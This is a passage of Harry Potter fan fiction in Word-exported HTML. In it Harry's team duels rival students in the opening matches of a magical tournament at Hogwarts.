from me and stores it. That&#8217;s how she can have\nenough power to move around and talk to me. However, when she teaches me magic,\nI have to use <i style="mso-bidi-font-style:normal">her</i> power to cast\nanything that&#8217;s dragon magic. When I take power from her, it changes my body to\nsuit its form. Hence my growth spurt and new muscles.\nShe gave me dragon&#8217;s vision the day after we met. Sort of a\nmeeting gift.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She sounds nice.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She is. Her real name is\nCelestial. I call her Cecilia as a nickname.&#8221; Harry paused a moment. &#8220;She said\nit&#8217;s nice to meet you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Her too.&#8221; Hermione smiled.\n&#8220;Anything else?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not tonight.&#8221; He pleaded.\n&#8220;My mind&#8217;s too buzzed for anything else. Just ask me questions later, okay?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure\nthing.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">So Hermione finished her\nmassage slowly for him in silence. When done, she noticed he was already asleep\nagain. Gathering her things, she placed them next to the bed and sighed. &#8220;Poor\nboy,&#8221; she said, running a finger over his scar, flaking off some dried blood.\n&#8220;What kind of dream could be so bad that it made your scar <i style="mso-bidi-font-style:\nnormal">bleed</i>?&#8221; She let her hand trail over his jaw line before resting on\nhis cheek. &#8220;Don&#8217;t worry, Harry, I&#8217;m here for you.&#8221; Hermione leaned down and\nkissed his scar. &#8220;And your friends are, too. We won&#8217;t let anything happen to\nyou. Ever.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It&#8217;s creepy how time flies when you don&#8217;t want it to.\nHarry was all too familiar with this phenomenon, and it once again was haunting\nhim... Tuesday and Wednesday just seemed to fly right past him. Thursday went\nby in the blink of an eye and Friday was now upon him. The classes shot past, and\nhe soon found himself walking down to the Quidditch changing room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He was currently pulling on\nhis gloves as he paced, making his teammates even more nervous. He had on his\nblack shirt with the cut off jacket that Lupin had given him. Also he had on\nthe jeans and red bandana that billowed out behind him while he paced. Of\ncourse Celestial was on his chest, held there by the silver necklace. To help\ncalm his nerves, he thought back to talking to Sirius the night before. Professor\nLupin had called him to his office that night and he was greeted by his Godfather&#8217;s\nface in the fire. Although they talked mainly about his nightmare, it was still\ngood to see that he was doing okay. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Calm down.&#8221; Malfoy said,\nglaring. &#8220;You&#8217;re creeping me out, Potter.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Save it.&#8221; Ron snapped. &#8220;The\nwhole school will be watching. I&#8217;m kind of creeped myself.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s time, guys.&#8221; Ginny said, poking her head in the male changing room and cutting off\nany replies they might have made. The three nodded and began walking to the\ndoor, following Ginny and Hermione. A moment later they stopped at the door\nleading outside, waiting to be introduced.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry took a deep breath as he\nlooked at the door in front of him. He had stood there many times before, but\nthis was the first time he was going to be walking out instead of flying on a\nbroom stick. To his right he felt Hermione take his hand and give it an\nuncertain squeeze.&nbsp; To his left he could\nhear Ron taking steadying breaths. Malfoy stood behind him, whispering random\nspells and strategies to himself. Only Ginny stood in front of him, looking at\nthe door head on. Although she looked brave, he could almost literally feel the\nnervousness coming from all four of the seventh year students and the single\nsixth year. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It was time for the\ntournament to begin, and they were up first against the Blitz Team. The crowd\ncould be heard from inside the small room, usually used for Quidditch players, clearly. The entire school was\nwatching. Friday afternoon classes were cancelled and everyone showed up. The\nstands were never this full, not even for the Quidditch matches. The only time\nHarry could remember hearing so many people yell was the time he was in the\nTri-wizard tournament. On the outside he could hear Professor Lupin&#8217;s voice\nannouncing the beginning of the tournament. Swallowing, Harry looked at the door\nagain and watched the bottom of it rise, showing light as it did.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione gave his hand one\nlast squeeze before letting go and walking out of the room. He heard Lupin\nannounce Hermione Granger and the deafening screams that followed. Soon Ron&#8217;s\nname was called along with his sister&#8217;s.&nbsp;\nEven more people cheered them on as they joined Hermione. Next Malfoy&#8217;s\nname was called. Not many people cheered for him, but the crowd was still going\nwild with excitement. Finally Harry heard his name being called and he too\njoined his friends outside of the small room. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It was amazing. Simply amazing. The stands were somehow magically lowered\nfor a better view of the field and there was a huge display in the air of the\nhumongous stone slabs on the ground. The stage formed a perfect circle, but was\nso large Harry knew that not many matches would be won by a ring out. Taking\nhis attention to the screen in the air, Harry pondered how it worked, but\nHermione voiced her thoughts aloud. It was her reaction to being nervous. &#8220;It&#8217;s\nquite simple,&#8221; she said, looking at it. &#8220;Just a simple cloud with a light\nreflection spell on it. Kind of like a mirror.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah, and I bet it will\nreflect us once we begin fighting.&#8221; Malfoy spoke, fingering his robes. &#8220;Man, all\nthese people watching&#8230; As if Quidditch wasn&#8217;t bad enough&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry raised an eyebrow.\n&#8220;You&#8217;re stage shy? What about all those games you played?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy smirked. &#8220;Kicking your\nass always got me through.&#8221; But it was said lightly, and the boy turned to\noffer an unsure smirk to his worst enemy turned partner. Harry returned the\nsmirk with his own trademark lopsided smile. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And their\nopponents, the Blitz Team!&#8221; A new\nvoice rang out. Surprisingly it was Lee Jordan. Harry shook his head with a\nsmile. He probably came to watch and ended up begging the head master to help\ndo the play by play. With this thought, Harry turned to look at the crowd and\nrealized that the stands hadn&#8217;t been lowered as he had originally thought;\nthere was a whole new set of stands around the area. Which\ncould only mean that this tournament was going to be viewed by more than just\nthe school. Sure enough, when Harry looked, he saw the Weasley clan with\na huge sign displaying all their names except Malfoy&#8217;s. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;The leader of the team,&#8221; Lee\nwent on with his commentary, &#8220;is the lovely Ashley from Hufflepuff!&#8221; More cheers\nwere called out as the girl walked to the platform as well. &#8220;Following is none\nother than the Ravenclaw Rebecca!&#8221;&nbsp;\nAnother girl walked out and smiled, holding her hands in the air. &#8220;Look\nout because Gallows is coming out next! This six foot five giant is in the\nhouse of Hufflepuff!&#8221; All the girls in the stands seemed to call out his name\nat the same time, making the boy look down and blush. &#8220;Next are the brothers\nJet and Kei!&#8221; Two more boys walked from the other side of the arena. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes it&#8217;s a great day to open\nthe first ever Sorcerer&#8217;s Circle tournament.&#8221; Lee went on while the two teams\nstood at opposite ends of the circle. &#8220;The rules are simple. You lose by either\nbeing knocked out of the ring or being knocked on the ground for ten seconds or\nmore.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That does not include lying\ndown voluntarily!&#8221; Lupin reminded good naturedly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s right, professor.&#8221; Lee nodded and continued. &#8220;The first\nmatch will be set in a cave stage. Spectators can look at the image above the\narea for a close up of the players. Please take note that once the contestants\nare in the area, they will not be able to hear what you are saying.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lupin took up then. &#8220;Special\nrules of this match are: if you lose your wand or are injured too badly to\ncontinue, you are out of the match. There is a thirty minute time limit. If it\ncomes to it, the winner will be chosen by our judges.&#8221; Here the professor\npointed to his right, where several teachers were sitting, including Dumbledore\nhimself.&nbsp; &#8220;Contestants\nat your ready!&#8221; Ashley walked up the four stairs leading to the stone\ncircle and stood at the rim. Her teammates cheered her on with the crowd. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ll go first.&#8221; Hermione\nsaid, determined. She walked to the stairs and turned back to her friends,\ngiving them a smile and a peace sign. &#8220;I won&#8217;t make you wait long.&#8221; And with\nthat, she too stepped onto the arena.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She&#8217;s brave, isn&#8217;t she?&#8221; Ron\nasked nobody in particular, but was amazed to find Malfoy answer him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I was wrong about her,&#8221; he said,\nnot looking at anyone. &#8220;Maybe I didn&#8217;t give her enough credit.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron nodded to himself, not\nlooking at him. Ginny, however, smiled contentedly to herself and allowed\nherself to stand next to him, discreetly taking his hand with two of her\nfingers and giving a squeeze, showing that she was proud of him. Malfoy,\nhowever, didn&#8217;t show any signs of this other than a very light and curt nod. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The stage shifted quickly\naround her, giving her a queasy feeling. When it was done, Hermione opened her\neyes to see what appeared to be the inside of a cave. There were transparent\nwalls around her, showing where the ring ended. She looked across the field and\nwas surprised to see a solid looking wall not twenty feet from her. It seemed\nthat the area was completely shifted into a cave. No, a water side cave. The\nfloor was completely covered in a clear blue liquid. Gathering her nerves, she\nstepped forward, cringing as the cold water soaked into her shoes and socks.\nThe sound of dripping water was all around her, making her realize for the\nfirst time that she couldn&#8217;t hear anyone else. Taking a deep breath, she began\nto run into the cave.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I thought the first match\nwas in a forest!&#8221; Ron whispered to Harry when he saw Hermione through the\ntransparent walls. &#8220;What&#8217;s with this?!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;They are changing the stage\nwith each match.&#8221; Harry suddenly realized. &#8220;Of <i style="mso-bidi-font-style:\nnormal">course</i> it won&#8217;t be the first thing we see! Ron, there are 5 stages\nset in there already.&nbsp; We only saw one of\nthem!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron slapped his forehead in\nfrustration. &#8220;And we spent all that time learning how to navigate a forest for\nnothing!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;<i style="mso-bidi-font-style:\nnormal">Okay, think logically</i>.&#8217; She thought as she navigated through the\ncave. &#8216;<i style="mso-bidi-font-style:normal">The area is inside the Quidditch pitch;\ntherefore it can&#8217;t be too incredibly big. At my pace, assuming she is doing the\nsame, we should cross paths soon. Somewhere about&#8230; here.&#8217;</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione ducked behind a\nlarge stone slab and pressed her back up against it. She could feel the cold\nwater soaking into her back and realized that the rock was covered in water as\nwell.&nbsp;&nbsp; There was a steady drip falling\non it. Footsteps soon mixed with the sounds of dripping water, telling her that\nAshley was on her way. When the footsteps stopped, Hermione judged the position\nand sprang from her shelter, yelling &#8216;<i style="mso-bidi-font-style:\nnormal">Tidus</i>&#8217; as she did so. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Water shot from the tip of\nher wand and crashed into Ashley.&nbsp;\nHermione grinned and pulled her wand back, stopping the flow. What she\nsaw afterwards, however, made her grin freeze in place. Ashley was completely dry;\na slightly damp shield was manifested in front of her. &#8220;Thundara!&#8221;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione yelped as the\nlighting struck her and caused her to fly back several feet and into the stone\nwall. Being wet, she felt the tingling sensation of the shock long after it was\nover. Grunting in determination, Hermione got up and rolled over in time to\navoid another spell of the same variety. With a flash of her wand and a short\n&#8220;Bendigous!&#8221;, Hermione sent a flash of rocks toward the other girl. Once again,\nhowever, a sort of curved shield appeared in front of Ashley, making Hermione&#8217;s\nattack useless. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Expelliarmus!&#8221;\nThe blast hit Hermione square in the chest, making her fly once again into the\nwall. The girl, however, still gripped her wand with a hold that was turning\nher knuckles white.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s not going to work.&#8221;\nHermione breathed heavily, forcing her wand to rise again. &#8220;Eathious.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The ground under Ashley\nrocketed upwards, but the shield was transferred to her feet, stopping the\nstone spikes from imprisoning the blond woman. &#8220;Nice try, but I can control\nwhere my shield goes.&#8221; Ashley informed her, once more performing a spell.\n&#8220;Lundous!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione screamed as she felt\nthe walls cave in on her. Falling to her knees, she brought her hands to her\nhead and prepared for the impact. After a few seconds, her mind kicked in past\nher blind panic and she remembered that it was a sensory delusional spell that\nhad been cast on her. Grasping her courage, Hermione stood and ran forward. The\nwalls stopped moving, and Ashley was shocked enough to let her run right past\nher. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Turning, Hermione held out\nher hand &#8220;Nemus!&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ashley quickly turned and put\nup the shield again. To her surprise, Hermione grinned and soon Ashley felt the\nspell crash into her from behind. &#8220;Wha&#8230;?&#8221; Slowly, the shield went down and\nAshley found herself starting to fall asleep. With a slow turn, the blond saw\nHermione&#8217;s wand wedged in between two rocks where she had just been kneeling.\n&#8220;You used your wand to deflect the spell&#8230;?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ashley fell and hit the\nground, her wand rolling from her grasp.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione Granger wins the\nmatch with the sleeping spell!&#8221; Lee yelled out, using the power of magic to\namplify his voice.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The walls\nand stone around her faded away slowly, allowing Hermione to once again see the\noutside world. The crowd was going\nwild, screaming her name over and over again. The Gryffindor retrieved her wand\nand started walking to her teammates as Ashley was helped off of the field.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Great job,\nHerms!&#8221; Harry instantly congratulated,\nhugging her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ow! Harry, that hurts!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sorry.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey, &#8216;Mione,&#8221; Ron grinned,\nlooking over her. &#8220;Loving the new look.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The abuse that she had taken,\nalong with the lightning spell, had done quite a job on her. Her face was\nsmudged with a few black marks and her hair was way out of control. The robes\nshe wore were wet and clinging to her, along with her normal cloths as well.\n&#8220;Thanks Ron.&#8221; She slurred, sitting down. &#8220;I don&#8217;t feel so good.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;In the\nfreezing cold, no wonder.&#8221; Ginny\nstepped forward and cast a quick heating charm on her while Harry dried her\nclothes with a well thought out wind spell.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;The Marauders lead one to\nnothing!&#8221; Lupin shouted from the top box. &#8220;Next round contestants, please make\nyour way to the arena!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny stepped forward. &#8220;My\nturn.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You sure you don&#8217;t want me\nto go?&#8221; Ron asked his sister, looking down at her. On the other side of the\narena, Rebecca walked to the ring. &#8220;Ah, never mind, I can&#8217;t fight a girl as\nwell as a guy.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So, what, you&#8217;re saying\ngirls are weaker than guys!?&#8221; Hermione looked positively furious at the\nstatement.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, no,&#8221; Ron covered\nsmoothly. &#8220;You could kick my butt any day.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">This seemed to calm the\nchestnut haired girl down long enough for Ron to make a face at Harry, who\nquickly tried to stifle a laugh.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny shook her head and\nwalked up the stairs to the arena. Once at the top, she turned back to see her\nfriends all grinning at her and cheering. Malfoy, however, simply met her eye\nand gave a light wave with the two forefingers of his right hand while his arms\nwere crossed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The arena shifted before\nGinny&#8217;s eyes, and soon she found herself on an unsteady surface. Her balance\nwas quickly lost and she fell onto her backside, looking dizzily up at the sky.\n&#8220;The rules for this match are simple.&#8221; The announcer&#8217;s voice came to her while\nshe tried to stand up on what she suddenly realized was ice. &#8220;The first lady to\nfall into the water and <i style="mso-bidi-font-style:normal">completely</i>\nsubmerge is the loser. Wand losses are acceptable and the player will <i style="mso-bidi-font-style:normal">only</i> be out when either they are dunked\nor out of the ring.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sounds fun.&#8221; Ginny said with\na smirk. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ready!? FIGHT!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Instantly the outside noise\nwas cut off from Ginny&#8217;s ears and the sound of a harsh wind replaced it. The\nsky above them suddenly grew dark and snow started falling (not hard, but just\nenough to compromise vision and stability). </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Stabulus.&#8221; The bottom of\nGinny&#8217;s feet grew small spikes that sank into the ice she was standing on.\nSurveying the arena, she realized they were more or less on what looked to be a\nfrozen pond with more than &#8216;several&#8217; holes in it. A better assumption would be\nwater with a few floating blocks of ice on it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Shaking her head, Ginny leapt\nto the nearest ice block and screamed when it tilted. Quickly she flailed her\narms out in a windmill motion and regained her balance. &#8220;Dang<i style="mso-bidi-font-style:normal">!</i>&#8221; She breathed, holding one hand to her\nchest and breathing. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Eclosieptus!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny let out a sharp yell of\npain when the block she was standing on exploded, sending her flying into the\nair. She found herself landing with a loud crack a few moments later. Her\nvision flashed with small black dots, making her mind go into medical mode. She\nknew she had hit her head a little too hard. With a quick spell, she could see\nagain. Standing, she looked to see where her opponent was, but saw nothing but\nsnow.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;En fuego!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny yelped as her feet\nstarted dancing to unheard music. Not a good thing when standing on a small,\nthin, sheet of ice on a pond. Thinking fast, she cast the anti curse and jumped\nto the next block of ice. The place where she had stood exploded into tiny\nchunks of ice. Ginny smiled as she twisted her body in the air like a cat,\npointing her wand in the general direction where the attack had come from.&nbsp; &#8220;Firaga!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Flames shot through the snow\nand a moment later, a female shrieked and jumped out of the way. Seeing her\nchance, Ginny ice hopped over to the other figure and landed on the same block\nof ice. &#8220;Rebecca.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ginny.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The two girls slowly circled\nas the ice block started to crack under their weight. Ginny attacked first,\nusing her stabilization to her advantage. Quickly she was able to run the few\nsteps forward needed to shove her opponent. Rebecca, however, saw a chance as\nwell. Using her Sorceress&#8217;s hand-to-hand training, she grabbed Ginny&#8217;s hands\nand kicked her in the stomach. With the momentum sustained, Rebecca tossed\nGinny over her shoulders.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny&#8217;s eyes went wide as she\nrealized what had just happened. There was a loud <i style="mso-bidi-font-style:\nnormal">splash</i> as Rebecca slid off the ice due to her own move. Ginny,\nhowever, realized that she had landed on a rather hard substance. It was solid\nand dry. Had she won and the ring turned back before she fell into the water?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">No.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny looked to her right,\nwhere she saw her opponent&#8217;s teammates. She was tossed out of the ring. Crossing\nher arms and giving the world her classic cute pout, she let out her frustration\nin a single, word. &#8220;Hmmph!&#8221;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ring out!&#8221; Lee called out,\nusing his wand like a microphone. &#8220;But Rebecca also got submerged. Judges?&#8221; He,\nalong with Lupin, looked to the judges, who just got out of a huddle.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We declare it&#8230;&#8221; Dumbledore\nbegan, looking at the two females on the field. &#8220;A draw game.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ah well, can&#8217;t win them\nall.&#8221; Rebecca said, wringing out her ponytail and walking over to her group. On\nthe way she helped Ginny up and shook her hand, smiling. Ginny nodded back at\nher and gave her own smile. On her way to her teammates, she heard Jet ask\nRebecca if she was all right and offer a few words of comfort. When she reached\nher group, however, all of them congratulated her soundly for doing so well.\nRon, especially, was pleased with her and even gave her a hug. Harry patted her\non the head and smiled, while Hermione was gushing over her choice of attacks\nand the spell for her shoes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">When things settled down a\nbit, Ginny stood next to Malfoy, who stayed in the same spot since she came\nback. Curiously, she looked up at him for his approval. In return, he gave a\nslight nod. In addition, much to Ginny&#8217;s surprise, he also gave her a side long\nglance and smiled a true, honestly proud smile. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She instantly felt her cheeks\nburn and turned her head.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m up.&#8221; Ron declared,\nstepping forward before Harry had the chance to. &#8220;I&#8217;ll get us a win. If I do,\nthen we win by default. Best three out of\nfive, right?&#8221; Harry nodded at his friend, prompting him to continue. &#8220;Well\nthen, I guess I better show them just what I&#8217;m made out of.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Better not.&#8221; Harry said\nsternly, making his friend turn with a hurt look on his face. Before Ron could\nsay anything, Harry smirked and clapped his friend on the shoulder. &#8220;If you go\nall out, you just may kill them.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron returned his friend&#8217;s\nsmirk and placed his hand on Harry&#8217;s shoulder, opposite of the one Harry had on\nhis. &#8220;I&#8217;ll try and take it easy on them.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You do that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The two young men then did a\nreally spiffy looking ten second hand shake that ended with a loud &#8220;MARAUDERS!&#8221;\nNow prepped up, Ron leapt the stairs and looked across the area to see who his\nopponent was. &nbsp;A man by the name of Kei\nstood at the other end of the field. He was blond with sharp looking glasses\nand loose clothing. Ron nodded at him and got a nod back, showing it would be a\ngood clean match.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hold this for me, will ya\npal?&#8221; Ron asked, taking off his robes and tossing them off stage. Harry gave a\nsmall jump and snagged them out of the air. The older Weasley of the team was\nwearing a tight fitting long sleeve blackish blue shirt with matching fighting\npants. At the current moment he was tightening the fit on dragon scale gloves\nthat he got as a present from Charlie.&nbsp;\nAll in all, he looked like quite the impressive fighter. Over the years\nhe had gained muscle from the strain that being Harry&#8217;s friend seemed to come\nwith. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ronald\nWeasley vs. Kei Smith! A straight\nforward one on one match up! The rules of this match\nare: Ten second down, ring out, wand loss, or surrendering.&nbsp; Ready!? FIGHT!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron ran forward as soon as\nthe words were said. As this was a straight forward match, the arena did not\nchange for them and both could still hear the crowd cheering them on. It seemed\nlike ages until the two boys clashed (as the arena was so big), but when they\ndid, it was a show that Hogwarts wouldn&#8217;t forget for a long, long time.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p 